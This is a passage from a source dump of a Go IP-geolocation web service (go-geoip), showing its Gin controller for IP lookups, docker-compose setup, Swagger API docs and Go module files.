36 | StartTime: time.Date(2023, 1, 1, 0, 0, 0, 0, time.UTC),
37 | }
38 | flake := sonyflake.NewSonyflake(st)
39 | if flake == nil {
40 | logger.FatalLog("sonyflake not created")
41 | }
42 | generator = &SnowflakeGenerator{
43 | flake: flake,
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/controller/main.go:
--------------------------------------------------------------------------------
1 | package controller
2 |
3 | import (
4 | "fmt"
5 | "github.com/gin-gonic/gin"
6 | "go-geoip/common"
7 | logger "go-geoip/common/loggger"
8 | "go-geoip/model"
9 | "net"
10 | "net/http"
11 | "strings"
12 | )
13 |
14 | // IP查询
15 | // @Summary IP查询
16 | // @Description IP查询
17 | // @Tags IP查询
18 | // @Produce json
19 | // @Param ip path string true "IP address"
20 | // @Success 200 {object} model.IPInfoResponse "Successful response"
21 | // @Router /ip/{ip} [get]
22 | func Ip(c *gin.Context) {
23 | ip := c.Param("ip")
24 | if ip == "" {
25 | ip = c.ClientIP()
26 | }
27 | handleIpInfoResponse(c, ip)
28 | }
29 |
30 | func IpNoArgs(c *gin.Context) {
31 | ip := getRealClientIP(c)
32 | handleIpInfoResponse(c, ip)
33 | }
34 |
35 | func handleIpInfoResponse(c *gin.Context, ip string) {
36 | info, err := getIpInfo(ip)
37 | if err != nil {
38 | common.SendResponse(c, http.StatusInternalServerError, 1, "error", err.Error())
39 | return
40 | }
41 | common.SendResponse(c, http.StatusOK, 0, "success", info)
42 | }
43 |
44 | func getRealClientIP(c *gin.Context) string {
45 | if xff := c.GetHeader("X-Forwarded-For"); xff != "" {
46 | ips := strings.Split(xff, ",")
47 | if len(ips) > 0 {
48 | realIP := strings.TrimSpace(ips[0])
49 | logger.Info(c, fmt.Sprintf("X-Forwarded-For IP: %s", realIP))
50 | return realIP
51 | }
52 | }
53 | if xrip := c.GetHeader("X-Real-IP"); xrip != "" {
54 | logger.Info(c, fmt.Sprintf("X-Real-IP: %s", xrip))
55 | return xrip
56 | }
57 | clientIP := c.ClientIP()
58 | logger.Info(c, fmt.Sprintf("Default ClientIP: %s", clientIP))
59 | return clientIP
60 | }
61 |
62 | func getIpInfo(ip string) (*model.IPInfoResponse, error) {
63 | parsedIP := net.ParseIP(ip)
64 | if parsedIP == nil {
65 | return nil, fmt.Errorf("invalid IP address")
66 | }
67 |
68 | info := &model.IPInfoResponse{IP: ip}
69 |
70 | common.Mu.Lock()
71 | defer common.Mu.Unlock()
72 |
73 | if err := populateASInfo(parsedIP, info); err != nil {
74 | return nil, err
75 | }
76 |
77 | if err := populateCityInfo(parsedIP, info); err != nil {
78 | return nil, err
79 | }
80 |
81 | if info.Country == "中国" {
82 | populateCnInfo(ip, info)
83 | }
84 |
85 | return info, nil
86 | }
87 |
88 | func populateASInfo(parsedIP net.IP, info *model.IPInfoResponse) error {
89 | var asn model.ASN
90 | if err := common.AsnReader.Lookup(parsedIP, &asn); err != nil {
91 | return err
92 | }
93 | info.AS = asn.Organization
94 | return nil
95 | }
96 |
97 | func populateCityInfo(parsedIP net.IP, info *model.IPInfoResponse) error {
98 | var city model.City
99 | if network, ok, err := common.CityReader.LookupNetwork(parsedIP, &city); err == nil && ok {
100 | info.Addr = network.String()
101 | info.Country = getCountry(city.Country.Names)
102 | info.RegisteredCountry = getCountry(city.RegisteredCountry.Names)
103 | info.Latitude = city.Location.Latitude
104 | info.Longitude = city.Location.Longitude
105 | info.Subdivisions = getSubdivisions(city.Subdivisions)
106 | info.City = getCityName(city.City.Names)
107 | } else if err != nil {
108 | return err
109 | }
110 | return nil
111 | }
112 |
113 | func populateCnInfo(ip string, info *model.IPInfoResponse) {
114 | parsedIP := net.ParseIP(ip)
115 | if parsedIP == nil {
116 | return
117 | }
118 |
119 | var geoCN model.GeoCN
120 | if network, ok, err := common.CnReader.LookupNetwork(parsedIP, &geoCN); err == nil && ok {
121 | info.Addr = network.String()
122 | if strings.HasSuffix(geoCN.Province, "市") {
123 | info.Province = geoCN.Province
124 | info.City = geoCN.Province
125 | info.District = geoCN.City
126 | } else {
127 | info.Province = geoCN.Province
128 | info.City = geoCN.City
129 | info.District = geoCN.Districts
130 | }
131 |
132 | info.AS = geoCN.ISP
133 | if geoCN.Net != "" {
134 | info.AS += " (" + geoCN.Net + ")"
135 | }
136 | }
137 | }
138 |
139 | func getSubdivisions(subdivisions []model.Subdivision) []string {
140 | var names []string
141 | for _, subdivision := range subdivisions {
142 | if name, exists := subdivision.Names["zh-CN"]; exists {
143 | names = append(names, name)
144 | } else {
145 | names = append(names, subdivision.Names["en"])
146 | }
147 | }
148 | return names
149 | }
150 |
151 | func getCityName(names map[string]string) string {
152 | if name, exists := names["zh-CN"]; exists {
153 | return name
154 | }
155 | return names["en"]
156 | }
157 |
158 | func getCountry(names map[string]string) string {
159 | if name, ok := names["zh-CN"]; ok {
160 | switch name {
161 | case "香港", "澳门", "台湾":
162 | return "中国" + name
163 | default:
164 | return name
165 | }
166 | }
167 | return names["en"]
168 | }
169 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.4'
2 |
3 | services:
4 | coze-discord-proxy:
5 | image: deanxv/go-geoip:latest
6 | container_name: go-geoip
7 | restart: always
8 | ports:
9 | - "7099:7099"
10 | volumes:
11 | - ./data:/app/go-geoip/data
12 | environment:
13 | - API_SECRET=123456 # [可选]修改此行为请求头校验的值(前后端统一)
14 | - TZ=Asia/Shanghai
--------------------------------------------------------------------------------
/docs/docs.go:
--------------------------------------------------------------------------------
1 | // Package docs Code generated by swaggo/swag. DO NOT EDIT
2 | package docs
3 |
4 | import "github.com/swaggo/swag"
5 |
6 | const docTemplate = `{
7 | "schemes": {{ marshal .Schemes }},
8 | "swagger": "2.0",
9 | "info": {
10 | "description": "{{escape .Description}}",
11 | "title": "{{.Title}}",
12 | "contact": {},
13 | "version": "{{.Version}}"
14 | },
15 | "host": "{{.Host}}",
16 | "basePath": "{{.BasePath}}",
17 | "paths": {
18 | "/ip/{ip}": {
19 | "get": {
20 | "description": "IP查询",
21 | "produces": [
22 | "application/json"
23 | ],
24 | "tags": [
25 | "IP查询"
26 | ],
27 | "summary": "IP查询",
28 | "parameters": [
29 | {
30 | "type": "string",
31 | "description": "IP address",
32 | "name": "ip",
33 | "in": "path",
34 | "required": true
35 | }
36 | ],
37 | "responses": {
38 | "200": {
39 | "description": "Successful response",
40 | "schema": {
41 | "$ref": "#/definitions/model.IPInfoResponse"
42 | }
43 | }
44 | }
45 | }
46 | }
47 | },
48 | "definitions": {
49 | "model.IPInfoResponse": {
50 | "type": "object",
51 | "properties": {
52 | "addr": {
53 | "type": "string"
54 | },
55 | "asn": {
56 | "type": "string"
57 | },
58 | "city": {
59 | "type": "string"
60 | },
61 | "country": {
62 | "type": "string"
63 | },
64 | "district": {
65 | "type": "string"
66 | },
67 | "ip": {
68 | "type": "string"
69 | },
70 | "latitude": {
71 | "type": "string"
72 | },
73 | "longitude": {
74 | "type": "string"
75 | },
76 | "province": {
77 | "type": "string"
78 | },
79 | "registered_country": {
80 | "type": "string"
81 | },
82 | "subdivisions": {
83 | "type": "array",
84 | "items": {
85 | "type": "string"
86 | }
87 | }
88 | }
89 | }
90 | }
91 | }`
92 |
93 | // SwaggerInfo holds exported Swagger Info so clients can modify it
94 | var SwaggerInfo = &swag.Spec{
95 | Version: "",
96 | Host: "",
97 | BasePath: "",
98 | Schemes: []string{},
99 | Title: "",
100 | Description: "",
101 | InfoInstanceName: "swagger",
102 | SwaggerTemplate: docTemplate,
103 | LeftDelim: "{{",
104 | RightDelim: "}}",
105 | }
106 |
107 | func init() {
108 | swag.Register(SwaggerInfo.InstanceName(), SwaggerInfo)
109 | }
110 |
--------------------------------------------------------------------------------
/docs/img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/unevenvalid/go-geoip/89b704d0a5aeaa722f62eb1e8adc7a8b7d0762f2/docs/img.png
--------------------------------------------------------------------------------
/docs/swagger.json:
--------------------------------------------------------------------------------
1 | {
2 | "swagger": "2.0",
3 | "info": {
4 | "contact": {}
5 | },
6 | "paths": {
7 | "/ip/{ip}": {
8 | "get": {
9 | "description": "IP查询",
10 | "produces": [
11 | "application/json"
12 | ],
13 | "tags": [
14 | "IP查询"
15 | ],
16 | "summary": "IP查询",
17 | "parameters": [
18 | {
19 | "type": "string",
20 | "description": "IP address",
21 | "name": "ip",
22 | "in": "path",
23 | "required": true
24 | }
25 | ],
26 | "responses": {
27 | "200": {
28 | "description": "Successful response",
29 | "schema": {
30 | "$ref": "#/definitions/model.IPInfoResponse"
31 | }
32 | }
33 | }
34 | }
35 | }
36 | },
37 | "definitions": {
38 | "model.IPInfoResponse": {
39 | "type": "object",
40 | "properties": {
41 | "addr": {
42 | "type": "string"
43 | },
44 | "asn": {
45 | "type": "string"
46 | },
47 | "city": {
48 | "type": "string"
49 | },
50 | "country": {
51 | "type": "string"
52 | },
53 | "district": {
54 | "type": "string"
55 | },
56 | "ip": {
57 | "type": "string"
58 | },
59 | "latitude": {
60 | "type": "string"
61 | },
62 | "longitude": {
63 | "type": "string"
64 | },
65 | "province": {
66 | "type": "string"
67 | },
68 | "registered_country": {
69 | "type": "string"
70 | },
71 | "subdivisions": {
72 | "type": "array",
73 | "items": {
74 | "type": "string"
75 | }
76 | }
77 | }
78 | }
79 | }
80 | }
--------------------------------------------------------------------------------
/docs/swagger.yaml:
--------------------------------------------------------------------------------
1 | definitions:
2 | model.IPInfoResponse:
3 | properties:
4 | addr:
5 | type: string
6 | asn:
7 | type: string
8 | city:
9 | type: string
10 | country:
11 | type: string
12 | district:
13 | type: string
14 | ip:
15 | type: string
16 | latitude:
17 | type: string
18 | longitude:
19 | type: string
20 | province:
21 | type: string
22 | registered_country:
23 | type: string
24 | subdivisions:
25 | items:
26 | type: string
27 | type: array
28 | type: object
29 | info:
30 | contact: {}
31 | paths:
32 | /ip/{ip}:
33 | get:
34 | description: IP查询
35 | parameters:
36 | - description: IP address
37 | in: path
38 | name: ip
39 | required: true
40 | type: string
41 | produces:
42 | - application/json
43 | responses:
44 | "200":
45 | description: Successful response
46 | schema:
47 | $ref: '#/definitions/model.IPInfoResponse'
48 | summary: IP查询
49 | tags:
50 | - IP查询
51 | swagger: "2.0"
52 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module go-geoip
2 |
3 | go 1.23.2
4 |
5 | require (
6 | github.com/gin-contrib/cors v1.7.2
7 | github.com/gin-contrib/sessions v1.0.1
8 | github.com/gin-gonic/gin v1.10.0
9 | github.com/google/uuid v1.6.0
10 | github.com/oschwald/maxminddb-golang v1.13.1
11 | github.com/samber/lo v1.47.0
12 | github.com/sony/sonyflake v1.2.0
13 | github.com/swaggo/files v1.0.1
14 | github.com/swaggo/gin-swagger v1.6.0
15 | github.com/swaggo/swag v1.16.4
16 | )
17 |
18 | require (
19 | github.com/KyleBanks/depth v1.2.1 // indirect
20 | github.com/PuerkitoBio/purell v1.2.1 // indirect
21 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect
22 | github.com/bytedance/sonic v1.12.3 // indirect
23 | github.com/bytedance/sonic/loader v0.2.1 // indirect
24 | github.com/cloudwego/base64x v0.1.4 // indirect
25 | github.com/cloudwego/iasm v0.2.0 // indirect
26 | github.com/gabriel-vasile/mimetype v1.4.6 // indirect
27 | github.com/gin-contrib/sse v0.1.0 // indirect
28 | github.com/go-openapi/jsonpointer v0.21.0 // indirect
29 | github.com/go-openapi/jsonreference v0.21.0 // indirect
30 | github.com/go-openapi/spec v0.21.0 // indirect
31 | github.com/go-openapi/swag v0.23.0 // indirect
32 | github.com/go-playground/locales v0.14.1 // indirect
33 | github.com/go-playground/universal-translator v0.18.1 // indirect
34 | github.com/go-playground/validator/v10 v10.22.1 // indirect
35 | github.com/goccy/go-json v0.10.3 // indirect
36 | github.com/gorilla/context v1.1.2 // indirect
37 | github.com/gorilla/securecookie v1.1.2 // indirect
38 | github.com/gorilla/sessions v1.4.0 // indirect
39 | github.com/josharian/intern v1.0.0 // indirect
40 | github.com/json-iterator/go v1.1.12 // indirect
41 | github.com/klauspost/cpuid/v2 v2.2.8 // indirect
42 | github.com/leodido/go-urn v1.4.0 // indirect
43 | github.com/mailru/easyjson v0.7.7 // indirect
44 | github.com/mattn/go-isatty v0.0.20 // indirect
45 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
46 | github.com/modern-go/reflect2 v1.0.2 // indirect
47 | github.com/pelletier/go-toml/v2 v2.2.3 // indirect
48 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
49 | github.com/ugorji/go/codec v1.2.12 // indirect
50 | golang.org/x/arch v0.11.0 // indirect
51 | golang.org/x/crypto v0.28.0 // indirect
52 | golang.org/x/net v0.30.0 // indirect
53 | golang.org/x/sys v0.26.0 // indirect
54 | golang.org/x/text v0.19.0 // indirect
55 | golang.org/x/tools v0.26.0 // indirect
56 | google.golang.org/protobuf v1.35.1 // indirect
57 | gopkg.in/yaml.v2 v2.4.0 // indirect
58 | gopkg.in/yaml.v3 v3.0.1 // indirect
59 | )
60 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc=
2 | github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE=
3 | github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI=
4 | github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
5 | github.com/PuerkitoBio/purell v1.2.1 h1:QsZ4TjvwiMpat6gBCBxEQI0rcS9ehtkKtSpiUnd9N28=
6 | github.com/PuerkitoBio/purell v1.2.1/go.mod h1:ZwHcC/82TOaovDi//J/804umJFFmbOHPngi8iYYv/Eo=
7 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M=
8 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
9 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0=
10 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4=
11 | github.com/bytedance/sonic v1.12.3 h1:W2MGa7RCU1QTeYRTPE3+88mVC0yXmsRQRChiyVocVjU=
12 | github.com/bytedance/sonic v1.12.3/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk=
13 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM=
14 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
15 | github.com/bytedance/sonic/loader v0.2.1 h1:1GgorWTqf12TA8mma4DDSbaQigE2wOgQo7iCjjJv3+E=
16 | github.com/bytedance/sonic/loader v0.2.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
17 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=
18 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
19 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=
20 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
21 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
22 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
23 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
24 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
25 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0=
26 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk=
27 | github.com/gabriel-vasile/mimetype v1.4.6 h1:3+PzJTKLkvgjeTbts6msPJt4DixhT4YtFNf1gtGe3zc=
28 | github.com/gabriel-vasile/mimetype v1.4.6/go.mod h1:JX1qVKqZd40hUPpAfiNTe0Sne7hdfKSbOqqmkq8GCXc=
29 | github.com/gin-contrib/cors v1.7.2 h1:oLDHxdg8W/XDoN/8zamqk/Drgt4oVZDvaV0YmvVICQw=
30 | github.com/gin-contrib/cors v1.7.2/go.mod h1:SUJVARKgQ40dmrzgXEVxj2m7Ig1v1qIboQkPDTQ9t2E=
31 | github.com/gin-contrib/gzip v0.0.6 h1:NjcunTcGAj5CO1gn4N8jHOSIeRFHIbn51z6K+xaN4d4=
32 | github.com/gin-contrib/gzip v0.0.6/go.mod h1:QOJlmV2xmayAjkNS2Y8NQsMneuRShOU/kjovCXNuzzk=
33 | github.com/gin-contrib/sessions v1.0.1 h1:3hsJyNs7v7N8OtelFmYXFrulAf6zSR7nW/putcPEHxI=
34 | github.com/gin-contrib/sessions v1.0.1/go.mod h1:ouxSFM24/OgIud5MJYQJLpy6AwxQ5EYO9yLhbtObGkM=
35 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
36 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
37 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU=
38 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=
39 | github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=
40 | github.com/go-openapi/jsonpointer v0.19.5 h1:gZr+CIYByUqjcgeLXnQu2gHYQC9o73G2XUeOFYEICuY=
41 | github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=
42 | github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
43 | github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
44 | github.com/go-openapi/jsonreference v0.19.6 h1:UBIxjkht+AWIgYzCDSv2GN+E/togfwXUJFRTWhl2Jjs=
45 | github.com/go-openapi/jsonreference v0.19.6/go.mod h1:diGHMEHg2IqXZGKxqyvWdfWU/aim5Dprw5bqpKkTvns=
46 | github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ=
47 | github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4=
48 | github.com/go-openapi/spec v0.20.4 h1:O8hJrt0UMnhHcluhIdUgCLRWyM2x7QkBXRvOs7m+O1M=
49 | github.com/go-openapi/spec v0.20.4/go.mod h1:faYFR1CvsJZ0mNsmsphTMSoRrNV3TEDoAM7FOEWeq8I=
50 | github.com/go-openapi/spec v0.21.0 h1:LTVzPc3p/RzRnkQqLRndbAzjY0d0BCL72A6j3CdL9ZY=
51 | github.com/go-openapi/spec v0.21.0/go.mod h1:78u6VdPw81XU44qEWGhtr982gJ5BWg2c0I5XwVMotYk=
52 | github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
53 | github.com/go-openapi/swag v0.19.15 h1:D2NRCBzS9/pEY3gP9Nl8aDqGUcPFrwG2p+CNFrLyrCM=
54 | github.com/go-openapi/swag v0.19.15/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ=
55 | github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
56 | github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
57 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
58 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
59 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
60 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
61 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
62 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
63 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8=
64 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
65 | github.com/go-playground/validator/v10 v10.22.1 h1:40JcKH+bBNGFczGuoBYgX4I6m/i27HYW8P9FDk5PbgA=
66 | github.com/go-playground/validator/v10 v10.22.1/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
67 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
68 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
69 | github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
70 | github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
71 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
72 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
73 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
74 | github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
75 | github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
76 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
77 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
78 | github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o=
79 | github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM=
80 | github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
81 | github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
82 | github.com/gorilla/sessions v1.2.2 h1:lqzMYz6bOfvn2WriPUjNByzeXIlVzURcPmgMczkmTjY=
83 | github.com/gorilla/sessions v1.2.2/go.mod h1:ePLdVu+jbEgHH+KWw8I1z2wqd0BAdAQh/8LRvBeoNcQ=
84 | github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ=
85 | github.com/gorilla/sessions v1.4.0/go.mod h1:FLWm50oby91+hl7p/wRxDth9bWSuk0qVL2emc7lT5ik=
86 | github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
87 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
88 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
89 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
90 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
91 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM=
92 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
93 | github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=
94 | github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
95 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
96 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
97 | github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
98 | github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
99 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
100 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
101 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
102 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
103 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
104 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
105 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
106 | github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
107 | github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
108 | github.com/mailru/easyjson v0.7.6 h1:8yTIVnZgCoiM1TgqoeTl+LfU5Jg6/xL3QhGQnimLYnA=
109 | github.com/mailru/easyjson v0.7.6/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
110 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
111 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
112 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
113 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
114 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
115 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
